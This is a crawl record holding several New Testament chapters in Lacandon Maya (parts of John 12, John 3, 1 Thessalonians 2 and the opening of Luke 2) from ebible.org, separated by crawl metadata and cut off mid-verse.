Simón Iscariote. Raji' turiri' ich u camsʌwinicob Jesús chen raji', Judas, cu wʌc'ʌs bin u c'ubic Jesús ca' quinsac. Raji' caj ya'araj:\n5 ―Wa tu canaj a je' qui' u boc a tu jic'taj tu yoc Jesús, a tu chen jaraj u taq'uin ca'ch tres cientos denarios ―u c'at ya'aric u taq'uin a mac a cu jaric turiri' yaxq'uin tu cu beyaj―. Jach tsoy ca' u jʌsej ti' a mac otsire' ―baxuc caj ya'araj Judas.\n6 Judas mʌ' u jach tucric a mac otsir tu chen araj aro' quire' Judas cu cʌnantic u taq'uin u yet camsʌwinicob Jesús. Mʌ' ja wirej, a Judaso', cu chʌc a'cric taq'uin tu cu ts'abʌr u cʌnantej ti' ten u yet camsʌwinicob Jesús. 7 Jesús caj ya'araj ti' Judas:\n―Tsire'ej mʌ' a wa'aric aro' quire' tu cʌnantaj a jeroj soc u c'uchur tu q'uinin in quimin. 8 Rajra' ti' yʌn otsir tu' yʌnechex. Chen a teno' mʌ' rajra' ti' yʌnen tu' yʌnechex ―quij Jesús.\nU ts'urirob sacerdote cu tucricob u quinsej Jesús\n9 Jach pim a winiquirob judío a tu much'quintajob u bʌj ich u cajar Jerusalén caj yubob c'uchij Jesús yejer u camsʌwinicob ich u cajar Betania. Rajen binob u yirejob Jesús. Mʌ' chen c'uchob quir u yiricob Jesús quir yiric Lázaro xan a mac ric'sa'b tu' quimen ten Jesús. 10-11 Caj tarob ich u cajar Betania mʌ' toy u yacsajob tu yorob ti' Jesús. Caj joc'ob tu cajar Betania tu yacsob tu yorob ti' Jesús quire' yerob yʌjtaquirob quire' tu yirob Lázaro raji' ric'sa'b ten Jesús tu' quimen. Rajen u jach ts'urirob sacerdote tu p'eri'quintob yorob u tucricob u quinsicob Lázaro xan.\nJesús cʌpa'an ich u pach chan tsimin tan u yocar ich u cajar Jerusalén\n(Mt. 21.1‑11; Mr. 11.1‑11; Lc. 19.28‑40)\n12 Caj sasij a pimob tan u much'quinticob u bʌj ich u cajar Jerusalén quire' c'uchij tu q'uinin u qui'qui' janʌnob u winiquirob judío. Caj yubob tan u c'uchur Jesús ich u cajar Jerusalén. 13 Rajen caj joc'ob u janch'ʌtejob u re' pajo' caj joc'ob tancab ich u cajar Jerusalén. U mʌchmʌnob u re' pajo' quir u binob u nup'icob Jesús ich bej. C'am tan u t'ʌnob tu cu tarob ich bej. Caj ya'arob:\n―Je' cu tar ij cʌjtaquirex jach qui' ij corex quire' baje'rer tuchi'ta'b ten C'uj. Ca' qui'ac ij corex. Raji' cu bin yocar quir ic reyintiquex a tenobo' u pararenob ic nunquirex Israel. Ca' ij carex ti' C'uj: \"Jach caremech C'uj.\"\n14 Ti' yʌn chan tsimin taro'. Jesús caj naquij quir u cʌptar tu pach an ten bic ts'iba'an ich u t'ʌn C'uj uch tan ya'aric:\n15 A techexo', a xquico' a mac cʌja'an ich u cajar Jerusalén, u jer u c'aba' Sión, mʌ' a ch'iquex sajaquir, je' u tar a mac ca' bin a reyintiquex. Je' u tar cʌpʌcbar tu pach chan tsimin.\nBaxuc cu ya'ara' ti' Jesús uch.\n16 U camsʌwinicob Jesús, mʌ' ju najtobi' caj yirob Jesús u captar tu pach chan tsimin quir u sʌjta' ten tu cotor mac. Caj wʌc'ʌs binij Jesús ich ca'anan caj c'aj ti'ob a ba' ts'ibta'b ti' Jesús uch.\n17 A pimob a tarob ich bej quir u nup'icob Jesús quire' tu yubob ya'aric: \"Raji' tu t'ʌnaj ca' joc'ac Lázaro tu but' u baquer. 18 Raji' tu ric'saj Lázaro tu' quimen.\" 19 Rajen a fariseojo' caj u pacran arob:\n―Iriquex mʌ' c'ucha'an ij corex ti' quire' tu cotor mac tan u binob tu pach quir u cʌnicob u t'ʌn ―baxuc caj u pacran arob.\nA mac a cu t'ʌn griego u c'at u tsicbarob yejer Jesús\n20 Ti' yʌnob u winiquirob griego a rajra' cu tarob cu c'uchur tu q'uinin u qui'qui' janʌnob u winiquirob judío quir u c'ujinticob C'uj, irob u winiquirob judío. Caj tarob u sijejob ba' ti' C'uj xan. 21 Robob caj tarob u tsicbarob yejer Felipe. Raji' u camsʌwinic Jesús a cu tar tu cajar Betsaida a ti' yʌn tu ru'umin Galilea, caj u chich arajob ti':\n―Jach ts'urir, quen, in c'atob in wiricob Jesús ―quij.\n22 Rajen Felipe caj bin ich Andrés caj ya'araj ti'. Rajen ca'turo' u camsʌwinicob Jesús caj binob ich Jesús caj ya'arob ti'. 23 Jesús caj ya'araj ti'ob:\n―C'uchij tin q'uin a teno' a tu tuchi'ten C'uj soc u caremquintiquen C'uj, a teno' irenechex. 24 Taj a ba' quin wac techex, u yijir u wich trigo cu ts'abʌr u wich wa cu pʌc'ʌr ich ru'um. Wa pʌc'a'an cu nets'ajic u wich trigo. Wa mʌ' pʌc'a'an chen tu junan yʌn. Baxuc ten ―quij Jesús―, wa quin quimin, ya'ab mac cu bin u yacsicob tu yorob ten quir u tar tin pach ―quij Jesús―. 25 Baxuc yejer techex. A mac mʌ' u c'at u c'ubic u bʌj ti' ten soc u quinsa' irej ten, cu bin ts'abir u muc'yaj munt q'uin. Chen a mac u c'at u c'ubic u bʌj ti' ten soc u quinsa', raji' cu bin u cuxtar munt q'uin. 26 Tu cotor mac u c'at u yamtiquen ca' tacob tin pach. Baxuco' cu bin c'uchur ich ca'anan tu' yʌnen quire' a mac a tu yamtajen cu bin qui' acsa'bir ten C'uj.\nYʌn in quinsa'\n27 Jesús caj ya'araj:\n―Yaj in wu'yic tin wor baje'rer. Mʌ' c'ucha'an in wor in wac ti' in Tet C'uj: \"Yʌmtej ten, Tet\", quire' taren ich yoc'ocab quir in muc'yaj a ba' cu bin tar ten. Rajen taren quir in muc'yaj.\n28 Jesús caj u t'ʌnaj C'uj tan ya'aric:\n―Baxuc in c'at ca' u sʌj techob C'uj.\nJeroj tune', caj yubob u t'ʌn ca'anan. C'uj caj u nuncaj, ti' u tar u t'ʌn ich ca'anan:\n―Tan in toc sʌjta're', je' in ca' sʌjta're' ―quij C'uj―, ra' u q'uinin ca' bin quinsaquech.\n29 A mac a ti' yʌnob a tan u ch'ictarob caj yubob u t'ʌn c'am a tar u tar ich ca'anan. Robob caj u pacran arajob tan ya'aricob:\n―Ba' pecnʌjij sam, a ti' ij cu'yajex?\nU jer caj ya'arob:\n―Yʌjmasir u t'ʌn C'uj, raji' t'ʌnʌjij. Raji' tin wu'yajob, tin t'ʌn.\n30 Jesús caj ya'araj ti'ob:\n―In Tet, C'uj, caj u t'ʌnajen, mʌ' chen jari' ti' ten, ti' techex xan ca' a wu'yex soc a werex in Tet, C'uj, cu yubic in t'ʌn. 31 Baje'rer ―quij Jesús―, c'uchij tu q'uinin cu bin jʌsbir mac a yʌn u si'pire' quire' mʌ' biq'uin u c'at yacsicob tu yor ten. Baje'rer ―quij Jesús―, c'uchij tu q'uinin xan cu bin ruc'sa'bir u beyaj a quisino' quire' raji' cu ts'urinticob ich yoc'ocab. 32 Quire' a teno' quin bin quinsbir ich cruz. A baywo' tu cotor mac cu bin tar tu' yʌnen quir u yacsicob tu yorob ten cax u winiquirob judío cax mʌ' u winiquirob judío.\n33 Baxuco' ca' u chaj u najticob ti' cu bin quimin ich cruz. 34 Rajen a pimob caj u nuncob tan ya'aricob:\n―Tij cu'yajex a ba' ts'iba'an ich u t'ʌn C'uj ti' a Cristojo' cu ya'aric: \"Munt q'uin cu bin u cuxtar a Cristojo'.\" Wa Cristojech biquinin ca wa'aric: \"Bin in ca' quinsa' ich cruz?\" A techo' ca wa'aric: \"Iren techex\", quire' baxuc ca wa'aric.\n35 Jesús caj u ya'araj ti'ob:\n―Irej a mac a cu ximbar ich bej, cu jach p'isic u bʌj soc mʌ' u yac'birchʌjʌr tu bej wa tabar u bin q'uin. Quire' wa cu yac'birchʌjʌr mʌ' yer tu cu bin. Aro' baxuc ten, tabar in bin, a mac cu camsiquechex. Rajen toc acsex ta wor ten baje'rer. Ti' toy yʌn u q'uinin quir a wacsiquex ta worex soc a bin tacbirex munt q'uin. 36 Ti' toj yʌnen tu' yʌnechex, toc acsex ta worex ten. Quire' a werex a wʌjtaquirenex a teno' soc a werex jach jaj u pararintechex C'uj. Caj ts'oc ya'aric aro' caj binij Jesús. Mʌ' u ca' u tsicbar ti'ob.\nYa'ab u winiquirob judío mʌ' c'ucha'an yorobob yacsicob tu yor ti Jesús\n37 Cax ya'ab tu yesaj carem beyaj Jesús ti'ob, mʌ' tu yacsob tu yorob ti'. 38 Baxuc caj u nup'saj a ba' ara'b ten yʌjtseq'uir u t'ʌn C'uj Isaías uch. Quire' Isaías tu ts'ibtaj uch:\nJaj Ts'urir, quij Isaías, a mac a tin tsec'taj a t'ʌn ti' uch, mʌ' tu yacsob tu yorob ti'. Cax ta yamtaj ti'ob, mʌ' tu sʌjtech Jaj Ts'urir, quij Isaías. A techo' yʌn tu cotor a muc'.\n39 Rajen mʌ' c'ucha'an yor u winiquirob judío u yacsicob tu yor ti'. Tu ca' ten Isaías tu ts'ibtaj uch tan ya'aric:\n40 Ac'birquinta'b u wich ten C'uj u winiquirob judío, bayiri' caj chichquinta'b u jo'r soc mʌ' u yiricob ba' soc mʌ' u najtic ba' xan, soc quir u c'axicob yorob, soc u to'carob ten C'uj.\n41 Baxuc caj ya'araj Isaías uch quire' u c'at ca' ij quirex Cristo, raji' yʌn tu cotor u muc'. Rajen ya'araj aro'.\n42 Cax ya'ab u winiquirob judío mʌ' ju yacsob tu yorob ti' Jesús. Chʌc yʌn u ts'urirob u winiquirob judío tu yacsajob tu yorob ti' Jesús. Tu muc u acsajob tu yorob quire' cu sʌjticob a fariseo cu bin joc'sabirob ich carem naj soc mʌ' u yʌnyʌn tar. 43 Mʌ' ja wirej, cu tucricob soc tsoy irir ten u rac'ob chen mʌ' u tucricob soc tsoy irirob ten C'uj, rajen mʌ' tu toc arob ti' u rac'ob wa tu yacsob tu yorob.\nA mac mʌ' u yacsicob tu yorob ti' Jesús cu bin ts'abir u muc'yajob ten C'uj\n44 Jesús caj u c'am araj ti' a pimo' tan ya'aric:\n―Tu cotor mac a cu yacsicob tu yorob ti' in t'ʌn, mʌ' chen ten cu yacsic tu yor ti' in t'ʌn. Baxuc cu yacsicob tu yor ti' u t'ʌn in Tet C'uj a mac tu tuchi'tajen. 45 Tu cotor mac u yirmʌnen baxuc xan yirmʌn in Tet, a mac tu tuchi'tajen. 46 A teno' ―quij Jesús―, iren quib quir in yerc'ac'tic techex a mac ti' yʌn ich yoc'ocab. Tu cotor mac a cu yacsicob tu yorob ten mʌ' u mʌn tu yac'birirob quire' yerob C'uj. 47 A mac cu yubicob in t'ʌn wa mʌ' ju yacsic tu yor ti' in t'ʌn mʌ' taren quir in taquic u jo'r mac baje'rer. Quire' mʌ' taren quir in taquic u jo'r mac quire' taren quir in taquic mac. 48 A maque' a mʌ' u sʌjtiquen a mʌ' ju yacsic tu yor ti' in t'ʌn ca' bin c'uchuc tu q'uinin u xur t'ʌn cu bin ts'abir u muc'yaj in t'ʌn a tin wa'araj ti'. Raji' cu bin u ta'quic u jo'r quire' mʌ' tu quibaj in t'ʌn. Rajen cu bin ts'abir u muc'yaj quire' mʌ' tu quibaj in t'ʌn ―quij―. 49 A teno' mʌ' tin chen araj techex in bʌjiri' in t'ʌn. In Tet C'uj a mac tu tuchi'tajen tu ya'araj ba' yʌn in wac techex. Baxuc a ba' yʌn in camsiquechex xan. 50 In wer a ba' caj u ya'araj ten in Tet, ra' quin tsec'tic techex soc yʌn techex a cuxtarex munt q'uin. Ra'iri'e' a tu ya'araj ten in Tet, quin wac techex, quet bayiri' quin wac techex.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN12.htm","date":"2022-05-29T09:25:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00367.warc.gz","language":"lac","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000051259994507}","num_words":1884,"character_repetition_ratio":0.068,"word_repetition_ratio":0.002,"special_characters_ratio":0.287,"stopwords_ratio":0.493,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nNicodemo cu tar u tsicbar yejer Jesús\n1 A ucho' ti' yʌn u winiquir judío a fariseojo' a ucho', raji'o' u c'aba' Nicodemo. Raji' turiri' u ts'urir ich u winiquirob judío. A fariseojo' cu quibicob a ba' ara'b ten u nunquir u winiquirob judío. 2 Oq'uin caj bin Nicodemo tu yʌn Jesús quir u tsicbar yejer. Caj ya'araj ti':\n―In wʌjcamsʌyʌjirech. In wer C'uj tu tuchi'tech quir a camsico'on. Wa mʌ' C'uj tu tuchi'tech, mʌ' c'ucha'an a wor a wesic carem beyaj an ten bic ca betic.\n3 Jesús caj ya'araj ti':\n―Taj quin wa'aric tech. A mac u c'at u yocar tu cu reyintic C'uj, u Taj'or u Pixam C'uj yʌn u ts'ic u cuxtar a cu tar ich ca'anan. Irej wa ju ca' rocha'r ten u nʌ'.\n4 Nicodemo caj ya'araj ti' Jesús:\n―Bic tabar u ca' rochar ten u nʌ' quire' uch ch'ijic? Mʌ' c'ucha'an yor u ca' ocar ich u nʌc' winic soc u ca' rocha' ten u nʌ'.\n5 Jesús caj u nuncaj ti', tan ya'aric ti':\n―Taj a ba' quin wac tech. Mʌ' chen jari' ja' cu yacsa' ta jo'r, ca' a c'ʌmej u Taj'or u Pixam C'uj quire' baxuc toc ara'b ten C'uj. A baywo' c'ucha'an a wor a wocar tu cu reyintic C'uj. 6 Tu q'uinin caj u rochech a nʌ', raji' quir a chen cuxtar ich yoc'ocab. Tu q'uinin cu ts'ic tech a cuxtar u Taj'or u Pixam C'uj, ra' cu tar ich ca'anan, raji' quir a cuxtar munt q'uin. Aro' irej wa tu ca' rochech a nʌ'. 7 Mʌ' ju jac'ʌr a wor Nicodemo quire' tin wa'araj tech aro'. Mʌ' ja wirej, u Taj'or u Pixam C'uj je' u ts'ic a cuxtar a cu tar ich ca'anan soc c'ucha'an a wor a bin ca'anan. 8 A ic'o' cu rʌc man tu cotor. Ca wu'yic u jum, chen mʌ' a wer tub u tar, mʌ' ja wer, tu cu bin. Baxuc aro' tu cotor mac a ts'ab u cuxtar a cu tar ich ca'anan ten u Taj'or u Pixam C'uj. Cu chen beyaj ti' techex chen mʌ' a werex bic tabar.\n9 Nicodemo, mʌ' toy u jach qui' najti' caj u ca' nuncaj, tan ya'aric:\n―Bic tabar cu betic a baxuc aro'?\n10 Jesús caj a nuncaj ti' tan ya'aric:\n―A techo' a ne'er a camsic, ca chen camsic u winiquirob judío. Mʌ' wa ja najtej a tin wa'araj tech? 11 Jach taj quin wa'aric tech Nicodemo. A tenob in wa'aricob tech a ba' in werob, baxuc a ba' tin wirob. Chen techex mʌ' ja quibex a ba' quin wa'aricob. 12 Wa mʌ' ja quibiquex a ba' quin tsicbar techex, a ba' yʌn ich yoc'ocab an ten bic caj in wa'araj yʌn u ca' rochiquech a nʌ'. Je' wa ja quibic a ba' quin wa'aric techex, a ba' yʌn ich ca'anan?\n13 Jesús caj ya'araj:\n―Mʌna' mac binij ich ca'anan caj wʌc'ʌs ur tera' quir ya'aric bicyʌra' ca'anan. Chen a teno' c'ucha'an in wor in wa'aric bicyʌra' quire' ti' in tar ich ca'anan quire' a teno' irenechex. Ti' quin wʌc'ʌs bin xan. 14 An ten bic ic nunquir Moisés caj u nacsaj can a beta'b ti' mascab, caj u nacsa yejer che' ich tacay ru'um. Soc raji' quir u jawʌr a mac chi'bir ten can wa cu pʌctic. An ten bic a cano' caj nacsa'b ich che' baxuc ten ca' bin u bʌjen ich cruz soc u nacsiquen soc in jawsic u si'pir mac quire' a teno' irenechex. 15 Wa mac cu yacsic tu yor ten quire' bin u ca' bʌjbiren ich cruz soc in taquic ti'ob, je' u cuxtar munt q'uin.\nIc Tet C'uj cu yajquintic tu cotor mac\n16 'Mʌ' ja wirej, a C'ujo' jach manan cu yajquintic tu cotor mac ich yoc'ocab. Rajen tu tuchi'taj u parar turiri'. Rajen tu cotor mac a cu yacsic tu yor ti' cu bin tacbir soc mʌ' u bin erar ich c'ac'. Chen cu bin ts'abʌr u cuxtar munt q'uin. 17 Ic Tet C'uj tu tuchi'taj u parar tera' ich yoc'ocab. Mʌ' tarij quir u ts'ic u muc'yaj a ti' yʌn ich yoc'ocab quire' yʌn u si'pirob. Mʌ' ja wirej, tarij quir u yamtic tu cotor mac.\n18 'A mac cu yacsic tu yor ti' cu bin tacbir ten u parar C'uj, mʌ' ju bin u bo'otic u bo'orir u si'pir. Chen a mac a mʌ' u c'at u to'car ten u parar C'uj. A C'ujo' caj u toc tetaj tub u wich u bin, quire' mʌ' tu quibaj u t'ʌn u parar a turiri', raji' ij cʌj taquir. 19 Mʌ' ja wirej, tarij u parar C'uj ich yoc'ocab quire' tu toc tucraj a C'ujo' bic cu bin u ruc'sic u si'pir mac. Mʌ' ja wirej, ca' bin tac u sasirir a a'ac'biro' chʌca'an a wiric ba' u ber wa c'as. Baxuc xan caj tar u parar C'uj chʌca'an yiric wa yʌn u si'pir tu cotor mac. Chen a winiquiro' mʌ' u c'at u tar tu yʌn u parar C'uj quire' cu manob tu c'asir quire' raji'ob cu jach pachticob u si'pirob. 20 Quire' tu cotor mac a na'nij cu betic a c'aso' mʌ' u c'at ca' iric a ba' cu betic. Rajen mʌ' u c'at u tar tu yʌn u parar C'uj. 21 Chen a mac a rajra' cu betic a ba' u c'at C'uj, mʌ' ju ch'a'ej sajquir u tar yicnʌn u parar C'uj. Mʌ' ja wirej, irir raji'ob yamta'b ten C'uj.\nJuan a cu yacsic ja' tu jo'r mac, cu tsicbʌtic Jesús\n22 Pachir caj binij Jesús yejer u camsʌwinicob ich u ru'umin Judea. Ti' p'at yejer u camsʌwinicob ya'ab u q'uinin. Jesús tu ts'aj u beyaj quir u yacsic ja' tu jo'r mac wa tu quib u t'ʌn. 23 Baxuc Juan xan tan yacsic ja' tu jo'r mac ich u cajar Enón. A Enóno' c'ʌs bʌytʌc u cajar Salim. Quire' ti' yʌn ya'ab yic' ja'. A mac c'uchob ich Juan caj ac'sa'b ja' tu jo'r wa tu quib u t'ʌn xan. 24 Quire' a Juano', mʌ' toy chucuc quir u ma'cʌr, tan yacsic ja' tu jo'r mac ich u cajar Enón.\n25 Yʌn u camsʌwinicob Juan mʌ' qui' yorob quire' u winiquirob judío tan u binob ich Jesús ca' acsac ja' tu jo'rob. Rajen u camsʌwinicob Juan quet tan u chich aricob turiri' u winiquir judío. 26 U camsʌwinicob Juan caj binob ya'arej ti' Juan tan ya'aricob ti':\n―In wʌjcamsʌyʌjirech a mac tarij tub yʌnech uch ich pʌchir ya'arir Jordán a mac a ta wa'araj uch yʌn u tar. A baje'rer ti' yʌn tan yacsic ja' tu jo'r mac, tu cotor mac tan u rʌc bin yicnʌn.\n27 Juan caj u nuncaj tan ya'aric ti'ob:\n―Mʌ' ja wirej, u bʌjiri' C'uj cu ts'ic u beyaj ti' mac a ba' yʌn u betej. 28 A techexo' caj a wu'yajex mʌ' jin mucraj tin toc araj: Mʌ' Cristojen. Mʌ' taren in taquechex. A C'ujo', tu ts'aj in beyaj quir in chen pʌyic u ber ij cʌjtaquirex. 29 A mac a caj u raq'uintaj a je' xquica' raji' u mam. A mac u jach yajo' cu yiric tan u ch'ic u rac'. Cu yubic u tsicbar cu qui' tar yor yubic tan u ch'ic u rac'. Aro' baxuc ten, jach qui' in wor in wiric u bin a pimo' ich Jesús.\n30 Juan caj ya'araj:\n―Mʌ' u neman u jumin ten, chen a Jesúso', ra' cu jach jumintejob, quire' baxuc u c'at C'uj.\nA mac a cu tar ich ca'anano'\n31 Juan caj ya'araj ti' u camsʌwinicob:\n―A Jesúso' tuchi'ta'b ten C'uj tera' ich yoc'ocab, raji' u ts'urir tu cotor ba'. A teno' ―quij Juan―, te' toc yʌnena' ich yoc'ocab, quin chen beyaj a tera'. A teno', quin chen aric techex a ba' quin wiric ich yoc'ocab. A Jesúso' tar u tar ich ca'anan, rajen u ne'er tu cotor ba'. Rajen neyʌn u muc'. 32 A Jesúso' cu ya'aric a ba' caj u yiraj tu yʌn a C'ujo'. Baxuc a ba' caj u yubaj, raji' cu ya'aric. Chen mʌ' ya'abi' cu quibic a ba' cu yac. 33 Chen a mac a cu quibic u t'an Jesús quire' tarij ich ca'anan tan u quibic a ba' ara'b ti' Jesús ten C'uj. 34 A Jesúso' tuchi'ta'b ten C'uj, rajen cu ya'aric u t'ʌn C'uj. A C'ujo' mʌ' ju p'isej mun cu ts'abʌr ti' Jesús u Taj'or u Pixam C'uj. mʌ' ja wirej, rajra' yʌn u Taj'or u Pixam C'uj ti'. 35 Ic Tet C'uj cu yajquintic u parar rajen caj u ts'aj ti' tu cotor a ba' yʌn ti', C'uj ca' u cʌnantej u parar. 36 Tu cotor mac a cu yacsic tu yor ti' u parar cu bin tacbir ten u parar C'uj. Munt q'uin cu bin cuxtar. Tu cotor mac a mʌ' u c'at u yacsic tu yor ti', mʌ' u bin tacbir ten u parar C'uj. Mʌ' u bin cuxtar munt q'uin, tar cu bin ich c'ac'. Yʌn u ts'abʌr u muc'yaj ten C'uj.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN03.htm","date":"2022-05-29T09:06:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00337.warc.gz","language":"lac","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000066757202148}","num_words":1448,"character_repetition_ratio":0.072,"word_repetition_ratio":0.003,"special_characters_ratio":0.303,"stopwords_ratio":0.5,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nTi' cu beyaj Pablo yejer u rac'ob ich u cajar Tesalónica\n1 A bʌjiri'e', quij Pablo, in bʌjobechex a werex caj tarenob in wirechexob. Caj in tsicbʌtob techex quire' tu ts'aj tenob in muc' u Taj'or u Pixam C'uj.\n2 Mʌ' wa c'ajtechex caj tarenob tu cʌja'anechex uch, caj c'uchenob tu cajar Filipos. Ti' tu p'astenob tu cajar Filipos. Ti' tu chuc u jʌts'enob in pachob. Aro' a werex caj u jʌts'ob in pachob. A mac a quin c'ujinticob a jach C'ujo', caj u yamtenob caj in tsec'techex soc a najtiquex a jach tsoyir u t'ʌn C'uj.\n3 Cax mʌ' u cha'icob a wu'yiquex u t'ʌn C'uj, cax caj u chejtenob, a tenobo' caj in tsicbatob a wu'yex u t'ʌn C'uj. Caj tarenob mʌ' c'as tin wa'arob techexi'. In werob u jach tajir u t'ʌn C'uj. Mʌ' tarenob quir in tus aricob techexi'. Mʌ' tarenob quir in c'aticob a taq'uinexi'. Chen jach tarenob, mʌ' ja wirej, a C'ujo' tu tumtaj yirej wa tsoy in worob. Caj ts'oc yirique' caj u tuchi'tenob ca' xiquenob in tsicbarob ti' u jach tsoyir u t'ʌn C'uj.\n4 A mac a yer ic pixamex, a C'ujo' yer ic pixamex. Raji' in c'atob in qui'quinticob yor C'uj. Mʌ' in c'atob in qui'quinticob yor xibi' tu quin tsicbarob u t'ʌn C'uj.\n5 Quire' caj tarenob mʌ' tin tsicbʌtob bic tabar jach tsoyechexi'. Baxuc a werex. Mʌ' in tusarob techex soc a qui' acsiquenobex. Mʌ' jin tus pachtob u t'ajʌr in taq'uinobi'. A C'ujo' cu yiric mʌ' jin tusarob techex.\n6 Mʌ' tarenobi' quir u sʌjtiquenob u jer winicobi' cax wa techex xan. Mʌ' ja wirej, c'ucha'an in worob in c'atiquechexob ca' a sʌjtenob quire' tu tuchi'ten ten Cristo quir in tsec'tic u jach tsoyir u t'ʌn C'uj tu yʌnechex.\n7 Mʌ' tin c'atob techex ca' a sʌjtenobi' quire' quin qui' yajquinticob techex. Mʌ' ja wirej, tin cʌnatechexob irenob a nʌ'enob a techexo'. Tan in qui' tsemtiquechexob irechex in pararob soc in qui' cʌnantiquexob.\n8 A tenobo' jach manʌn caj in yajquintob techex. Rajen mʌ' jari' quin ts'icob techex u jach tsoyir u t'ʌn C'uj, cax quin quinsa'ob ti' techex xan.\n9 Mʌ' ja wirej, jach manan chich beyajenob uch? Chich beyanʌjenob tu yʌnechex ich techexo' soc in jaricob in taq'uinob soc ra' quir in janʌnob. Chich beyanʌjenob soc mʌ' in t'ʌnicob mac quir u ts'ic in wo'ochob soc in tsec'ticob techex u jach tsoyir u t'ʌn C'uj uch.\n10 Ra' ta wirex uch. Caj a wirexi' ti' cʌja'anenobi' ta wicnʌnex uch. Baxuc C'uj tu yiraj mʌna' ba' tin betob. Qui' manenob tu tsoyir tu yʌnechex a tu yacsajob tu yorob u t'ʌn C'uj uch. C'uj caj yiraj mʌ' ba' tin betob soc a ta'quic in jo'rob.\n11 Baxuc xan, a werex tan in manob in chichquinticob yor a jujunturi' mac soc u manob tu tsoyir, irenob wa ja tetenex quin manob in chichquinticob yor in pararob.\n12 Tin chich arob techex uch, soc mʌ' a manex tu c'asir soc a cʌniquex C'uj. Mʌ' ja wirej, tu pʌyechex C'uj soc quet a reyintiquex C'uj tu sasirir.\n13 Rajen rajra' quin t'ʌnicob C'uj tan in wa'aricob ti': \"Bayo' C'uj\", quen ti', quire' in bʌjob a ti' yʌnob tu cajar Tesalónica. Baxuc quin wa'aricob ti' C'ujo'. Mʌ' ja wirej, caj a wu'yex u t'ʌn C'uj a tin tsec'tajob techex uche'. Caj a c'ʌmajex u t'ʌn C'uj quire' a werex a je' t'ʌna' ti' u tar ich C'uji' quire' mʌ' u t'ʌn xibi'. Tan u beyaj techex u t'ʌn C'uj quire' ta wacsajex ta worex ti' u t'ʌn C'uj. Rajen quin wacob u jach t'ʌn C'uj techex.\n14 Yʌn ba' a berechex ti' u t'ʌn C'uj in bʌjobechex caj u chucob a pachex a wet cajarex. Baxuc xan, caj u chucob u pachob a wet acsʌ'orirex Jesucristo tu cu c'ayob tu ru'umin Judea. Raji'ob chucob u pachob ten u yet cajarob u winiquirob judío.\n15 Caj u quinsob ic Jaj Ts'urirex Jesús u winiquirob judío. Raji'ob caj u quinsob yʌjtsec'irob u t'ʌn C'uj uch xʌn. Raji'ob caj u joc'senob ten yejer Silvano yejer Timoteo. Mʌ' tan u qui'quinticob yor C'uj u winiquirob judío. Jach manan cu ts'iquinticob tu cotor mac.\n16 Quire' caj binenob in tsec'tob u t'ʌn C'uj ich mʌ' u winiquirob judío.\nCaj ya'arob ten u winiquirob judío: \"Ts'oc a tsec'tiquex ti'ob, tsire'ej a tsec'tiquex ti'obe'\", cax in c'atob in tsec'tic quir u ta'quicob u bʌjob. Mʌ' ju cha'ob in tsec'tob u t'ʌn C'uj. Rajen tan u jach t'ajar u si'pirob. Jeroj c'uchij tu q'uinin baje'rer cu ts'iquinticob C'uj. Jach yaj cu bin yubob a mac a cu ts'iquinticob C'ujo'.\nA Pablojo' u c'at u wʌc'ʌs bin u tsicbʌtic u bʌjob tu cajar Tesalónica\n17 Barej caj in jamach p'ʌtob a techexo', in bʌjobechex ta cajarex Tesalónica. Cax mʌ' in wiricob a wichex na'an in tucriquechex tin worob. Jach manan in c'at in tar in wiriquechex.\n18 A teno' in c'at in wʌc'ʌs tar in wirechex cax ten Pablojen quin bin tin junan, quij Pablo. Rajra' tu su'senob a quisino'. Satanás u c'aba'. Cax ya'ab in c'at in tarob in wiriquechex. Rajra' tu su'senob a quisino'.\n19 Ca' bin uruc ic Jaj Ts'urirex Jesús, a werex ba' quin pachticob tin worob? Ca' in wirob techex yicnʌn C'uj. Rajen tan in pajicob u q'uinin quir u tar soc in wiricob a wichex. Jach manan qui' in worob in wiricob techex ich yicnʌn C'uj. Quire' raji' cu bin yiraj taj in beyajob a C'ujo'.\n20 Quire' tu yirob a rac'obex taj in beyajob. Mʌ' ja wirej, a techexo', jach taj ta nequi'quintex in worob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/H12.html","date":"2022-06-30T17:19:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103850139.45\/warc\/CC-MAIN-20220630153307-20220630183307-00202.warc.gz","language":"lac","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0}","num_words":903,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nCaj rocha'b Jesús ten u nʌ'\n(Mt. 1.18‑25)\n1 Ray u q'uinin Augusto caj u reyintaj u ru'umin u winiquirob romano caj ya'araj rey ti' u winiquirob:\n―Ca' xiquechex a ts'ibtex a c'aba' quir in wiric mun u winiquirob yʌn tera'. Tu cotor mac yʌn u bin u ts'ibtic u c'aba'.\nBaxuc caj ya'araj César Augusto. 2 A je' beyaja' caj u ts'ibtajob u c'aba'. Ra' tu yʌn bat'an ts'ibtaj u c'aba' caj oc u gobernador u ru'umin Siria, Cirenio, u c'aba' gobernador. 3 Tu cotor ich u cajaririri'ej yʌn u ts'ibtic u c'aba' xan. Jujuntur cu bin u ts'ibtic u c'aba' ich u jach cajar. 4 Caj bin José, caj ruq'uij ti' u cajar Nazaret caj bin ich u ru'umin Judea quir u c'uchur tu cajar Belén. Caj bin u ts'ibtej José u c'aba' ich Belén quire' ra' u cajar u nunquir David tu rocha'b ten u 